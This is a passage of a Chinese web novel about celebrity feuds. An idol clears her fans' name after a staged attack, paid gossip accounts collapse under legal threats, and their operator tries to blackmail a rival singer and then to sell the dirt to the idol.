温栩栩从口袋里翻找了半天才拿出一根草莓味的棒棒糖,尝到甜味儿才弯了弯眼睛:“能还我粉丝一个清白就够了。” 这次事情是谁做的他们心里都有数,把任天浩放出去能找到联系他的那个人,也能顺藤摸瓜查到背后主使是谁。 温栩栩不查下去只因为她答应黎云笙不会让颜佳雨受到舆论的波及,所以她这次来找任天浩只是为了还自己和粉丝一个清白。 第620章 许愿下场了 粉丝被骂“疯狗”,她都替粉丝委屈,这圈内能被称作“疯狗”的粉丝估计也就只有颜佳雨那一家了! 温栩栩缓了片刻,抬眸看向车窗外,倏地看到一辆熟悉的车。 是许愿的车。 温栩栩愣了下,她像是有点无奈。 她知道许愿一直在乎自己,但没想到许愿竟然真的会来这里。 她也是想到从这个伤人的粉丝入手了吧。 温栩栩下车,她的面色还有些发白,却还是弯腰敲了敲许愿的车窗,车窗摇下来,对上许愿拿上明艳的面容。 “阿愿。” 许愿眸光闪了下:“要跟我一起进去吗。” 温栩栩笑了:“我已经问过了,那个人不是我的粉丝,只是被人收买演了一出戏。” 许愿瞬间就猜到是颜佳雨,两人四目相对,都明白的。 “我知道了,这件事我不会轻易翻篇。”许愿开口,温栩栩却没有阻止她。 毕竟是阿愿想为她出头啊,从最开始她答应了黎云笙自己不会继续查下去不会伤害到颜佳雨,但她不能代替阿愿不是吗? …… 温栩栩和林菀去审讯室前就跟这边的警员协商联系过表示自己会调取这次的审讯视频,这是经过官方同意的。那段视频恰好就是林菀问任天浩问题那一段。 收到警员发来的截取视频林菀登陆微博账号发布视频,温栩栩工作室买了热搜把这件事送上头条。 #温栩栩假粉# #温栩栩粉丝小羽毛背锅# 这两天民众看乐子一样讨论温栩栩粉丝如何暴行重伤颜佳雨这事,而温栩栩粉丝小羽毛更是被称为“疯狗”,说她们见人就咬,但现在却出来一个视频,那个伤害颜佳雨的男人根本不是温栩栩粉丝! 看了视频的温栩栩粉丝终于扬眉吐气敢出声了。 {我就说我们小羽毛绝对不会做什么伤人的事!我们超话粉丝都规矩的很,不准骂脏话不准跟黑粉掐架更不准随意引战,这些我们都不敢做怎么可能在线下有人去伤害阮影后!} {不算温栩栩粉丝也就是经常吃瓜,就温栩栩这种活在热搜的女星那人都能把那些问题一个不差的全答错也是人才。给爷整乐了,温栩栩和A大那些事儿谁没听过?温栩栩靠女团爆火出道谁不知道?温栩栩背靠黎氏娱乐谁不清楚?这些弱智问题都能答错,这是谁家看温栩栩不顺眼找了这么个蠢人来陷害温栩栩了?} {了解了,就因为温栩栩本人没什么黑点所以就把主意打到粉丝身上?毕竟这圈子有句话这么说的,粉丝行为偶像买单,可把那些黑粉水军厉害坏了!一群人冲上来就骂温栩栩粉丝是“疯狗”,睁大你们眼睛看看谁家粉丝在事情还没水落石出前追着人骂什么话脏什么话臭骂什么!路人为温栩栩说句话都被私信被评论骂道自闭,某家粉丝才真“疯狗”。} {啊,我就是墙头草,一开始觉得颜佳雨实惨,现在觉得温栩栩才最惨,明明跟她没关系却被人这么诬陷背骂名。} 温栩栩粉丝气的牙痒痒,骂过温栩栩的路人也都纷纷道歉,黑粉还有颜佳雨一些粉丝根本不相信这条视频,冷嘲热讽各种阴谋论都出来了。 {这种澄清视频谁信谁脑子有问题!这人摆明了就是温栩栩粉丝,现在知道给温栩栩惹了事才会配合温栩栩拍摄这种视频!不信你们就去查这人的老婆孩子都出国了!他们怎么出国的?还不是温栩栩跟他合作后给了一笔钱把他老婆孩子送出国了!温栩栩真狡诈!} {笑死了,就算这件事温栩栩真的无辜那其他的事说得清吗?张雯悦那事呢?她欺负张雯悦随意往电影里面安插人就没错?给温栩栩洗白的脑子属实有点问题。} {不是吧不是吧,不是这年头还有人相信某类人是人民公仆吧,那地方放出来的视频真的能信吗?别忘了温栩栩背后靠着的可是强大的资本。恕我直言资本的世界我们这种小人物怎么懂呢?温栩栩那个粉丝也就是个小蝼蚁还不是上面让他怎么演他就怎么演?} 颜佳雨粉丝和温栩栩黑粉什么都不信,就拧着死理认为有资本帮温栩栩。 林菀直接发博公布任天浩老婆孩子的行程记录。他们明明是在任天浩对颜佳雨动手前一晚坐飞机离开了Z国,这件事怎么都跟温栩栩扯不上关系! 可黑粉如果有脑子还能当黑粉吗?黑粉撕咬又怒骂温栩栩故意要害颜佳雨,还想虐粉固粉所以才有前期被骂后面流露出视频来洗白。 张雨萌暗地里盯着这一遭,眼瞅着温栩栩快要洗白又给八卦号加了一笔钱让他们继续造谣温栩栩。 八卦号本就是收钱办事的,张雨萌转钱他们立刻就开始编料,还没等他们把新编的段子发到微博上就被林菀和薛酒@让他们几天后收法院传票。 这种八卦号每个号的粉丝都上百万,且有无数水军账号,不怎么费力气就能引导舆论,而且一般明星还不敢告他们,只因他们是一个组织分布了很多账号,敢告一个其他的就会联合起来搞那些明星,他们可以说是娱乐圈的毒瘤蛀虫,但也靠着这一招在圈子里站稳了脚。 可现在他们被林菀和薛酒@了。 薛酒是谁?盛华副总,薛酒下场就代表许愿也在关注这件事,盛华下场盛世一定会下场,许愿也不会这么简单放过这次的事。 而林菀呢? 林菀是谁啊!黎氏娱乐御用的王牌律师,可以说只要是她接手的案子就没有输的,更别说林菀认识的那些可都是有权有势的,这些八卦号终于清楚自己是踢到铁板了。 八卦号头子急的像是热锅上的蚂蚁气都喘不匀了,没等多久又有工作人员着急忙慌的像是有猛兽在屁股后面追,边往工作室赶边叫嚷“出事了”。 八卦头子本来就心烦意乱整个人燥的很,听工作人员喊这话一脚踹过去骂骂咧咧问:“出什么事了!” 第621章 你的眼睛特别好看 工作人员苦不堪言:“工作室有几个员工自爆账号在网上公开向温栩栩道歉了。” 八卦头子气的脑瓜疼:“到底怎么回事!” 工作人员也委屈,只能苦巴巴的把原因讲了。 原来八卦号皮下的一些员工收到林菀和薛酒的@当时就怂了,他们之中有听说过干这一行的被抓进去判了五年!他们真怕工作室出事后一窝端全要被关进去,那哪儿行啊! 立刻就有八卦号怂的不行去私信林菀薛酒和温栩栩想求饶,态度十分端正只希望能减轻点罪行,但薛酒不允许私信,而林菀和温栩栩压根没空搭理他们也没那时间看私信,这几个人自然没得到回复。 他们得不到回复心里更着急,一闭眼就做梦梦到自己被关进去判了十几二十年,睁眼就发愁,其中有人胆子小的可怜就直接发微博道歉了,有了第一个就有第二个,这么一折腾后面一连串几个八卦号都道歉了。 温栩栩黑粉和颜佳雨粉丝不信还骂他们是被温栩栩的资本威胁了不得不道歉,逼得这几个人一股脑把以前接过的几个单子都说了,还对以前被他们诬陷造谣过的明星艺人真诚道歉。 这一折腾事情闹得更大了。 他们就是专门撰写明星八卦段子黑料赚钱的,圈内小半数明星都被黑过,曾经红极一时的天王巨星也因为这些八卦小段子陨落,出道一部戏走红的女星因为天赋太高被圈内前辈嫉恨买黑料最后承受不住压力隐退。 这些料被重新挖起来,这几个八卦大号瞬间爆红了,八卦号头子整个人也快要爆了。 这他妈都叫什么事儿! 工作人员急的不行不停摇晃八卦号头子的肩膀:“老大,我们该怎么办啊!现在赶紧跑路吧!” 八卦号头子深呼一口气面色狰狞:“跑?就算真要跑我也绝不能放过张雨萌!” 开玩笑!如果不是张雨萌哪会得罪惹不起的人物!他跟张雨萌这贱人没完! …… 温栩栩跟林菀分开后去了黎氏娱乐,这次来黎氏娱乐做总裁专用电梯到顶层,那些秘书没敢再拦她。 办公室内冷冷清清的,不像上次地面堆了不少快递箱,办公桌上那小盒糖果还剩小半盒,剩下的都是柠檬味的。 他好像最喜欢草莓味的糖果。 温栩栩坐在独属他的办公椅上,闲不住的撕开糖纸喊了块柠檬味的糖果,温栩栩被酸的咬到舌头,她有点赌气的咬碎嘴巴里的柠檬硬糖,硬糖里有柠檬碎,酸味更甚。 她捂住自己的脸终于明白黎云笙为什么独独剩下柠檬味的糖果没吃。 办公室的门被打开,黎云笙和助理两人还在谈论工作就见温栩栩巴巴的从电脑屏后面晃出半张小脸来。 助理诧异挑眉,黎云笙瞥他一眼:“你先出去。” 助理十分上道的离开办公室,男人没说话坐在椅子上看她,温栩栩下巴枕在手上冲他眨眼:“要不先锁个门?” 男人看她的眼神多了几分意味深长,温栩栩此地无银三百两的开口解释:“我没想干别的,我就是怕有人突然闯进来。” 黎云笙站起来锁上门意有所指:“只要你在办公室助理都会守好门不会让别人随便闯进来。” 这话说的好像只要有她在就要发生点什么审核不过的事情似的。 温栩栩不大服气:“我其实挺正经的,是你长得不正经。” 黎云笙颔首,温栩栩咳了一下视线落在男人身上,他还是老样子穿着一身灰色手工定制的西装,搭配也很普通,只他穿起来多了几分禁欲感。 温栩栩磨蹭着走到他身边扯住他的纽扣,揪了揪没揪下来,她放弃拽纽扣把男人衣领解下来绑在手腕上。 黎云笙语气淡淡:“又闹什么。” “闹你啊。”温栩栩笑眯眯的解开两颗扣子:“看,现在这打扮就超级不正经。” 见她不切入正题男人握住她的手腕,触手的肌肤没多少热度还有点发凉,他顿了顿两只手捧住她的手问:“事情解决了?” 温栩栩毫不客气的把男人引到椅子上,自己则坐在他腿上:“事情都解决啦。” 她扭头亲了亲男人的唇,一股酸酸甜甜的柠檬味在男人口腔蔓延,酸味儿少了很多,还带了点甜。 她咬了下男人的唇角,呼吸不稳的抬头望着男人。 办公桌前沿就有一盏台灯,温栩栩动作间手指碰了下开关,光落在男人脸上,渡了一层冷白,男人眼瞳深邃漆黑,被冷光照着那双黑眸都显露不出几分情意。 温栩栩不动声色的又碰了下可调节的台灯开关,这次的光变成暖黄色的光,照在男人身上都带上几分温度。 她不清楚是不是错觉,总觉得黎云笙此刻看她的眼神很温柔,好像比他看颜佳雨的眼神更温柔。 她想,应该是暖光照在他身上才会让她产生这种离谱的错觉。 她抿了抿唇,看着男人精致的脸,她双手抱住男人的脖子:“我想亲亲你的眼睛。” 黎云笙眸光一闪低下头方便她动作,温栩栩眼尾上扬唇角也扬起来,男人配合的闭上眼睛,她凑上去亲了亲,动作轻缓,唇瓣好像还触到男人的眼睫,擦过唇瓣带来些微痒意。 “你的眼睛特别好看。”带有温度的眼睛更漂亮。 她夸了一句。 黎云笙站起来抱着她将她放在办公桌上,两条手臂扣在她身侧将人整个圈起来。 他随手关掉散发刺眼光芒的台灯,温栩栩望着面前逼近自己的男人,不受控制的盯着黎云笙那双漆黑的瞳眸看,她觉得自己又产生错觉了,好像关掉台灯那双眼睛也很温柔,眼睛温柔衬的唇瓣都柔软起来。 她又亲了亲黎云笙的唇,嗯,是软的。 她目光闪烁,黎云笙却低头吻在她眼睛旁,一如她心里想的那样温柔。 温栩栩有点紧张,她很少被黎云笙这么温柔的对待,他那双黑眸更不会倾泻出什么深情,可现在让她心里涌上几分难言的渴望。 第622章 你很乖 她手心紧张的全是汗,却埋进他怀里,黎云笙强有力的心跳声让她逐渐缓下来不再紧张。 黎云笙又抱起她往休息室走,温栩栩立刻抓紧他的衣袖:“别,我现在不行。” 将她放到床上就见她活像被登徒浪子欺负似的就知道她又演起来。 “不做别的。”他哄她。 温栩栩从他怀里露出一颗小脑袋:“我也就是一时戏瘾上来演一演。” 他当然猜到了。 温栩栩伸手戳戳男人腹部的肌肉不由咂舌:“你一直在外面演得那么病弱的样子怎么还能身材这么好。”她实在好奇。 黎云笙抓住她乱动的手:“别墅里有健身房。” 温栩栩歪倒身体在他怀里乱蹭,黎云笙眯眼制住她在她耳边道:“我看你很想做点别的。” 她吭哧一声老老实实不乱蹭了,黎云笙摆正她身体让她舒舒服服躺到休息室的床上,一抬头就见温栩栩眼睛亮晶晶的冲他拍拍身旁的位置 。 黎云笙挑挑眉没拒绝,拿了笔记本电脑后才陪她在床上胡闹。 他在一旁看报表温栩栩就在旁边刷微博,她刷了会儿兴致缺缺有点忍不住得寸进尺的问了句:“黎云浩被放出来了吗。” 黎云笙动作顿了顿:“出来了 。” 她揉揉眼睛劝他:“那你要小心,兔子急了都要咬人的,虽然把他比作兔子,兔子会很委屈。” 黎云笙看着报表余光却落在她身上,停了片刻说道:“我知道黎云浩那天会在宴会上对我出手。” 温栩栩来了精神:“所以那天你是故意喝了那杯酒被带进医院?你是想后面那些大蛇小蛇出来?” 黎云笙眼底隐匿一层寒霜并没说话 ,温栩栩捂脸:“是我给你添乱了。” 她知道那天有黎家的人也有黎云浩的人所以才不敢直接出面只能跟江恒演戏让他联系韩越几人找江夜回出面帮黎云笙解决麻烦。 可现在她才知道她多此一举,如果她不做这些事恐怕背后的人已经被引出来解决掉。 黎云笙垂着的眼眸稍稍抬起却不见半点温度,他擒住温栩栩的下颌望向她时带着几分审视却难得眼底冰层有稍许融化。 “没有添麻烦,你做的很好。”他亲吻她的耳垂声音带着几分柔意:“你很乖。” 他搂抱着怀里的人再抬眸时只余眼底一片阴翳的黑暗。 只这一次让他看清了一个人。 …… 温栩栩身体虚弱还总是嗜睡,她缩在黎云笙怀中睡了一个小时才缓缓转醒,黎云笙在休息室内的沙发上办公,听到她喉间的轻哼声抬眼朝她看去:“醒了?” 他打开桌上的外卖餐盒:“起床吃点东西。” 温栩栩伸了个懒腰缩在暖呼呼的被子里不想出来,她靠在墙角磨蹭不肯动,最后还是黎云笙把人抱去洗漱一番又带孩子一样牵回休息室。 温栩栩走到窗边扯开窗帘一个小缝看到外面天已经彻底黑了,但附近却灯火通明,商业区的办公楼都还亮着灯。 “已经这么晚了。”温栩栩坐到沙发上,她摸摸肚子还真的饿了。 桌上的饭菜都是补气血的,被黎云笙盯着才苦哈哈的喝了碗鸽子汤。 “我觉得我身体特别好。”温栩栩插了块草莓吃,边吃边说:“我身体这么好还总是晕倒,是持续不断的工作都会晕倒吗。” 黎云笙微怔了一下:“谁这样不停的工作都会生病。” 温栩栩心情不太好,她低头看看时间又想起张雯悦心里烦闷的厉害,“你知道我们团队的张雯悦吗。” 黎云笙拧眉,显然不知道她说的张雯悦是哪个。 “你不记得也没事,我就是跟你说一声我想把她踢出我们团,你让公关部和官博今晚等我消息,晚点把她跟黎氏解除团队协议的公告发了。” 黎云笙也不问温栩栩为什么把张雯悦踢出去,他知道温栩栩不会平白无故欺负圈内人。 他淡淡的嗯了声算作答应。 温栩栩这才弯弯眼睛,“那我回去了。” 她打开休息室的门脚步还没迈出去就回头看他:“你今晚回哪里。” 黎云笙声音平缓:“我去看你。” 温栩栩又开心的笑起来,“好呀,我等你去看我。” 回到别墅把张雯悦踢出去还能开门看到美男,想想就有点激动。 温栩栩这里一点不着急,张雨萌那边却是天都要塌了。 张雨萌录完节目回到家才知道黎氏娱乐和林菀放出视频为温栩栩洗白,甚至许愿交好的薛酒也出面了,现在除了温栩栩的黑粉和颜佳雨部分顽固粉丝坚信任天浩收了钱配合温栩栩演了这么一条视频其他的人都相信温栩栩是无辜的。 张雨萌气急败坏发信息联系八卦号头子,八卦头子叫李辉,李辉正恼着想把张雨萌一块曝光,张雨萌倒是先找到他骂他办事不利索让他赔钱。 李辉一想自己养了那么多年的号因为这次粗心被炸气的心肝脾肺疼,“这次事情闹大了我还没找你你就先来找我了,这次你不赔偿我工作室的损失我一定会让你后悔!” 张雨萌声音尖利刺耳,“你凭什么让我赔偿!你还没赔我的钱还想要我掏钱?你做梦!我一个字儿都不会出!” 李辉被她吼的耳朵疼移开手机冷笑了几声吓她:“行,我不要脸也没节操,你不给钱我就曝光你这个来我这里花钱黑温栩栩的流量小艺人。” 李辉恶意满满,“过气流量张雨萌恶意散播温栩栩黑料,你觉得网友们感兴趣吗。” “啊啊啊啊啊!”张雨萌疯狂尖叫:“闭嘴!我没过气!我正当红!我是娱乐圈里最红的女艺人!” 最红的女艺人?一直炒冷饭营销还是最红女艺人?也配! 李辉翻了个白眼满脸不屑:“是,你正当红。” 他阴阳怪气道:“等我把这些料散播出去给你编点属于个人的段子你会比现在更红,温栩栩都没你红呢。”他特意提到温栩栩打击张雨萌。 张雨萌失魂落魄听到温栩栩名字立刻镇定,她咬着牙憋着气,“想从我手里拿到钱,别做梦了!” 第623章 死者为大 “行,那我们就走着瞧。”李辉舌尖顶着腮帮子,“到时候就是你求着我收钱。” “你做梦!” 张雨萌挂断语音电话心烦意乱睁眼闭眼想到的都是李辉的恐吓。 不行,那是她辛辛苦苦赚到手的钱,不能白白便宜李辉! 李辉的工作员工辞职的辞职跑路的跑路,李辉神情阴冷的守在工作室手上动作不停一直敲打电脑键盘。 他取出U盘插到电脑上查找一些照片和视频,黑夜中李辉带着黑框眼镜眼底都是即将得逞的冷意。 张雨萌在H国早年练习生出道,算是童星了,但等她长大捧她的大佬早就被人斗下去,她报考了A大也一度是那一届被人最看好的,再加上张雨萌家室不错有张家撑着娱乐圈那些潜规则的烂事儿是能避开的。 可坏就坏在张雨萌不想给人当配角只想当主角,张家有钱却是小门小户没办法大手笔给她投资一部剧当主角,张雨萌不甘心想往上爬所以误入歧途。 她在娱乐圈不算长相拔尖的女星,但她是童星是某些大佬看着长大的,玩张雨萌就给他们一种隐秘的刺激感,张雨萌为了资源也能放得开,参加爱豆综艺前张雨萌火过一段时间。 最火那两年还是托了她幕后的大人物给她炒作推资源推综艺这么捧出来的。 那几年张雨萌没少仗着背后资本任意妄为欺压新人,这骄纵的性子就是这么来的。 那些大佬把张雨萌当孙女辈女儿辈的人看待平日里也是要什么给什么宠的很,直到这些大佬玩腻了张雨萌她才没了那些优待没了好资源,所以没办法了才参加选秀打算回锅肉重新出道的。 张雨萌那几年陪几位大佬喝酒去酒店一起打高尔夫开派对的照片李辉几乎都有,连她把女艺人推进泳池的视频也有。 李辉这次编了段子没放视频和照片,他可以再给张雨萌一个机会,如果张雨萌还不知悔改,他就放真锤,到那时候张雨萌就别想继续在圈子里混了! 李辉写起张雨萌的黑料就刹不住车,一条接一条的黑料发出去又用还没被封的八卦号发送同样的段子。 李辉直接用手段把张雨萌送上热搜,让所有人都知道张雨萌就是那个毫无下限的童星爱豆! 虽然营销号没有上传照片和视频但还是让人猜到童星爱豆就是张雨萌。 路人网友从讨论温栩栩和颜佳雨转去吃张雨萌的瓜,张雨萌拍摄的剧多是低龄偶像剧粉丝也比较幼稚,她粉丝正疯狂刷屏怒骂八卦号都快炸号还乱发消息。 张雨萌的粉丝一个字都不信,万能且没事干的网友直接证实了其中几条是真料。 张雨萌的经纪人知道这事后开车到张雨萌的公寓砸门。 张雨萌被吵醒火气正大的要发火,经纪人直接让她看热搜。 张雨萌想起李辉的威胁心间一颤,瞬间清醒了,等翻着手机把那些帖子看了一遍再去看经纪人的脸色她觉得经纪人脸上写满了两个大字“完蛋”。 “你只能把钱给李辉,现在李辉没有放出照片和视频还有救,等他放出照片和视频你一定会被封杀。” 经纪人提醒她:“你别忘了当年那些大佬可都是有家庭的,他们念旧不会拿你怎么样但他们的老婆孩子能放过你吗。” 张雨萌两手抱住头冷静不下来,她呜咽的哭着,“那是我的钱,我辛苦赚来的钱!” 她不能接受现实,以前一直被大佬们捧着要什么有什么想欺负谁欺负谁这还是第一次踢到铁板被人威胁。 经纪人看她这浑浑噩噩的模样一时有点不落忍,张雨萌却颤抖着手拨了一串号码,经纪人警惕问她:“你要干什么。” “我要给干爹打电话,他们会帮我的。”话音才落下经纪人冲上去夺了她的手机斥她:“你疯了吗!他们早玩腻你跟你两清了!” 张雨萌狰狞的打叫挥舞双臂砸到经纪人身上抢夺手机吼叫:“干爹会管我的!” 张雨萌不管不顾打了一通电话,许久后才有人接了电话。 张雨萌抓住救命稻草一样委屈哭诉,对面的人听她把话说完沉默了许久,对面的人点了根香烟抽了口:“你跟我说这些是什么意思。” 对面有女人的娇笑声:“先生听不出来吗,这是求您帮忙拉她一把呢。” 金先生手机开了免提,周围一群人哄堂大笑,爆笑的声音传到张雨萌耳中,她十分难堪甚至不敢置信这人会是曾经宠她疼她的男人。 “干爹……”张雨萌声音颤抖着想起他帮忙,那头的男人毫不留情:“张雨萌,你是叫这名字吧,你没念过书吗?不知道‘玩腻’是什么意思?” “我……我知道,只是我现在走投无路了。”张雨萌话才说一半男人打断她的话,“你走投无路跟我有什么关系?” 周围人又是起哄的大笑,有人凑上来喊了一声,“你也别想着找你那些干爹和好哥哥救命了,没人愿意管你,有这功夫不如趁着还没变过街老鼠之前逃到国外去!” 这话说完金先生摁断电话满脸嘲意将手机丢进酒杯里,“也不看看她是个什么的东西还敢去碰温栩栩。” 没有黎家人的命令林菀犯得着帮温栩栩出头吗,她背后可不知道是黎家哪位,就冲这没谁敢帮张雨萌。 更不要提温栩栩跟许愿的关系了。 许愿和薛酒都出来了,他们疯了吗还敢拉张雨萌? 张雨萌哭的脸上都是眼泪,她真的走投无路了,开始给自己父亲打电话,可父亲没有接,因为她的缘故公司都已经破产了,只有她哥哥还有点资产,可给哥哥打电话也是一直在通话中。 张雨萌整个人傻了,她抱着膝盖坐在地上久久不说话,经纪人看不下去想劝她,张雨萌眼里含着一泡泪执拗的喃喃自语:“只要我死了他们就不会再逼我了。” 经纪人被她癫狂的眼神吓到了:“你疯了吗,把钱给了李辉我们重头再来不好吗,说什么死不死的!” 张雨萌笑了,边笑肩膀边抖动:“我辛辛苦苦赚的钱凭什么去养那个死营销号!他用网络暴力逼我,呵呵,如果我被网络暴力逼的自杀了还会有人骂我吗。” 张雨萌面露狞色:“在Z国,死者为大。” 第624章 你猜你会是什么下场 李辉一直在网上放“女爱豆”黑料,网络吃瓜大军的队伍越来越庞大,都兴味盎然议论女爱豆。 李辉是个心思重的,哪怕出了事也要物尽其用尽最大可能的榨取钱财,李辉算看明白张雨萌是绝不可能出那一千万,他一定会把张雨萌黑料都爆出来,但他还想借此机会牟取暴利。 这件事牵扯到温栩栩,温栩栩是今年爆红顶流,接了那么多代言拍了那么多广告,他张口要个两千万把张雨萌锤死不过分吧。 想通这些李辉开始找温栩栩的电话,满脑子都是两千万。 温栩栩回到黎氏给他们团安排的别墅,张雯悦就躲在房间不出来。也不知是不敢还是怂。 她敢跟杜佳安和秦萌萌杠是因为这两个没什么靠山还都是脑子蠢笨的,几句话威胁一下她们就不敢跟她动手。 但张雯悦知道温栩栩跟她们不一样,温栩栩一句话能把她怼死,说不定还真会跟她动手,她不敢招惹索性当缩头乌龟。 张雯悦被团队孤立这事闹得太大,整个团队最近两天的行程都取消了,温栩栩回到别墅杜佳安和秦萌萌几人立刻凑上去关心她,温栩栩气色还不太好解释了几句就上楼让人把张雯悦拽下来。 温栩栩回来杜佳安有了安全感首当其冲去踹张雯悦的门,张雯悦不开门杜佳安就一直踹门。 张雯悦又气又怕,温栩栩在门外站着漫不经心道:“再不开门我就叫保安把这扇门卸了。” 这事儿温栩栩真干得出来。 张雯悦气红双眼:“你到底要干什么!杜佳安你放开我!你别拽我……我自己会走!” 杜佳安不等她吼完就把人揪到一楼大厅。 “这是贼喊捉贼?” 温栩栩坐在沙发上低着头没看张雯悦,她放了那晚张雯悦在休息室那段视频,看视频里的张雯悦小可怜样被气笑了,“我一开始觉得你没什么心机性子暴躁易怒不会真的做什么对团队不利的事。” 她摇了摇手机眼神一冷:“是我看错你了。” 温栩栩摁掉视频在手机上找到个一个备忘录,里面记了不少事。给队员分资源,参加江恒演唱会,还有一些杂七杂八的事,有的后面是个括号标注“(已完成)”,后面还有长长一串待完成的事。 温栩栩扫了几眼才弯着唇角笑起来,“还记得我说过你再惹事就把你踢出女团女团这件事吗。” “我参加综艺凭实力出道的,你不能……”张雯悦指责温栩栩被温栩栩笑着打断:“我能。” 张雯悦心中惊诧,却对上温栩栩含笑却带着明显冷意的眼神,对她没有半分温柔。 “你做的事情已经涉及到团队利益,且你现在的形象就是备受欺凌的小可怜,只要你还在队内女团女团就会一直被人围攻嘲讽我们霸凌你。” 温栩栩故意提到国内的一些男团女团,“江恒也是爱豆身份出道,当时他们男团中有个人叫‘纪元’,他们男团最火的时候也是这个纪元被人同情,很多人都说江恒仗着背后资本抢夺纪元资源。他也自命不凡利用粉丝离开团队单飞,你猜最后结果怎么样?” 最后结果怎么样? 纪元就是个滥竽充数的废物,唱跳不行演技不行颜值也跟不上趟,离开男团最后那点热度都没了,现在圈内查无此人了! 温栩栩没往后说,但场内所有人都清楚纪元的结局。 温栩栩像是想起什么似的又点了一句,“知道什么是回锅肉爱豆吗。” 张雯悦满脸茫然还没从纪元这事中回过神就听温栩栩好心给她解释:“回锅肉爱豆就是那些没热度的爱豆一次又一次的参加选秀综艺想重新组队出道。” 她又提到纪元,唇角扬着一抹弧度:“纪元没有名气后参加许多综艺想重新出道还一直炒冷饭炒他跟江恒的兄弟情,见这件事不能提升热度就黑当年的团队骂他们抢夺他的资源以此来维持那少的可怜的热度赚取路人观众的同情心。” 温栩栩捧着脸笑吟吟,“当年纪元被逼退团那件事闹得多大,可现在纪元在圈内混到什么位置,江恒又是什么地位?张雯悦你清楚了吗。” 张雯悦吞咽着口水仓惶的去看林海,林海叹息的摇着头,张雯悦鼻子发酸。 温栩栩饶有兴致的戳着猫咪玩偶的耳朵,她一脸无害的把玩偶抱进怀里揉着,抬眸时眼神直勾勾的望着张雯悦:“现在我们把你踢出团我们会被骂会被嘲,可那又怎样呢?网友能把这件事记多久?十天?一个月?半年?等那时候我们还能靠着背后的黎氏参加综艺拍摄杂志出新唱片。那时候你在什么地方躲着?谁有还记得你呢?” “你也说了,我是资源咖,不论发生什么事都会有人捧着我捧着我们的团,可你又会是什么下场?” 温栩栩笑吟吟的看着张雯悦,可说出来的话却十分残忍。 “等你离开女团谁还记得你是谁?谁会像黎氏一样拿资源去捧一个小人?等你热度彻底下去估计没几个人记得张雯悦是谁,就算有人提起你被逼退团那件事我们一样可以买营销反水到你身上,你以为没有热度的你能有几个人帮你说话?到那时候所有人都会觉得一个嚣张跋扈的人被退团那是她活该。” 温栩栩咄咄逼人道:“而你走到哪里都会遭人白眼,像纪元一样成为回锅肉爱豆。或许未来还要黏着我们做文章,那时你的称号就是我们的‘前’队员前同事,到那时说不定还要被人骂蹭热度。” 温栩栩摆摆手,“当然这还是最好的结局,毕竟娱乐圈内女艺人都不如男艺人混得好。可能你还不如纪元炒冷饭过活的结局。” 张雯悦满脸不敢置信,温栩栩摸摸下巴好心的给她提供别的可能,“没有黎氏给你资源你也可以拿自己换取资源。” 她讥嘲,“不是觉得自己长得漂亮身材好?只要你豁的出去就能换来资源,当然……换来的资源一定比不上黎氏免费给的。” 第625章 坑她钱?他完了! 温栩栩说的这话是真的。 黎氏对她们团是真的好,什么资源都往他们身上砸。 才刚出道就是几大杂志的封面,出团队专辑,单人专辑,特地为她们推出团队综艺,参加热门综艺,她们甚至还是晚会特邀嘉宾,在热门电视剧中也有客串,热门剧和电影的歌曲也是由他们来唱。 黎氏甚至还未他们考虑以后的发展,哪怕她们团只是临时团黎氏也为她们考虑了以后,已经做到尽善尽美。 乃至于他们的住宿条件都是最好的。 谁能说黎氏对他们不好? 林海叹了口气,看向张雯悦的眼神都是同情怜悯。 温栩栩说的这些都是真的,一名艺人被压榨被冤枉就算这时有人为她打抱不平可这些人能帮她多久?她们也有自己的生活不可能时时刻刻盯着网络,艺人一旦被雪藏属于她的信息被掩盖后谁也帮不了她们。 没有资本力捧就没有好的资源,没有好资源就不会有热度,没有热度就不会有粉丝,所以会被娱乐圈逐渐边缘化,哪怕往后那段历史被人挖出来可能也不会有年轻人知道你是谁,只有年纪大一些的可能感慨一句“可惜了”,也仅此而已。 娱乐圈争斗何其残酷,温栩栩是其中非常幸运的艺人,她有资本拥护也在尽她所能的去维护队员,但张雯悦的嫉恨心理让她一步步把温栩栩推远。 她遇到一个好队长却还怨天尤人,等她离开女团就会知道这圈子到底有多可怕。 温栩栩望着她恐惧的眼神缓缓开口算是安慰:“你放心,你离开后我不会用自己手中势力打压你,能走多远就看你自己了。” 这是温栩栩能为她做的最大的退让。 林海额头冒出一滴冷汗,他是觉得温栩栩这不叫退让,她或许只想看戏。 张雯悦这脾气碰到别人还不被踩死?哪怕温栩栩不出手张雯悦都会被圈内人下黑手。 林海更同情张雯悦了。 张雯悦脸色惨白一片支支吾吾不敢再说话,温栩栩闲适的揉弄怀里的猫咪玩偶,接到李辉电话时她还余光看戏一样看着张雯悦被吓傻的脸色。 李辉打通温栩栩手机立刻自报家门,温栩栩幽幽的哦了一声,“就是那个写了无数大花和爆红C位小故事的营销号?我对你很有印象。” 李辉尬笑一声,温栩栩不想跟他废话,直接奔入主题问道:“是看到薛酒和林律师@你的消息所以来求饶的?也行,我没什么特别喜欢的就喜欢钱,你在圈子里黑了那么多艺人家底应该挺厚实的,花钱消灾懂吗。” 李辉整个人都被温栩栩这骚操作雷到了。 啊?他给温栩栩打电话是为了要钱可不是要给她送钱! 李辉呼出一口气,“我不是这个意思,我打电话给你是为了张雨萌。” 温栩栩眯了眯眼,张雨萌?谁? “你说哪个?”温栩栩确实忘了这一号人。 李辉又被她这操作惊到了,一时有点结巴:“就那个参加选秀综艺跟你闹矛盾一直黑你最后大粉还成了你粉丝的张雨萌……” 温栩栩想了下,“那个跟张雯悦一样眼高手低好高骛远喜欢瞎蹦跶还没自知之明的女爱豆?” 杜佳安和秦萌萌噗嗤笑出声,林海捂住嘴没忍住弯了弯唇角。 张雯悦眼皮直跳,愤怒道:“温栩栩你胡说八道什么!” 温栩栩不耐的拧眉斥她:“队长打电话你在一边插什么嘴,让人家营销号听到要给你写小段子了。” 张雯悦被她这话噎了一下愤愤的坐在单人沙发上出神。 李辉咳嗽了几声没否认,温栩栩点开热搜看到营销号发了有关“女爱豆”的段子有点兴趣的挑高眉毛:“在你这里花钱黑我的客户就是张雨萌,你不知道我的背景接了这单生意现在踢到铁板所以联系我想自首了?” 李辉差点没被口水噎死,他有点腿软觉得自己这会儿要跟温栩栩要钱估计要被温栩栩四个字四个字的成语怼死。 但李辉明显是钻钱眼里斟酌酝酿了会儿用一种商量的语气道:“我打电话给你就是想跟你合作,我能把张雨萌的黑料都放出来还能把她跟我联系的记录也公布到网络上,你看我帮你捏死了小蚂蚁是不是也该给我点好处?” 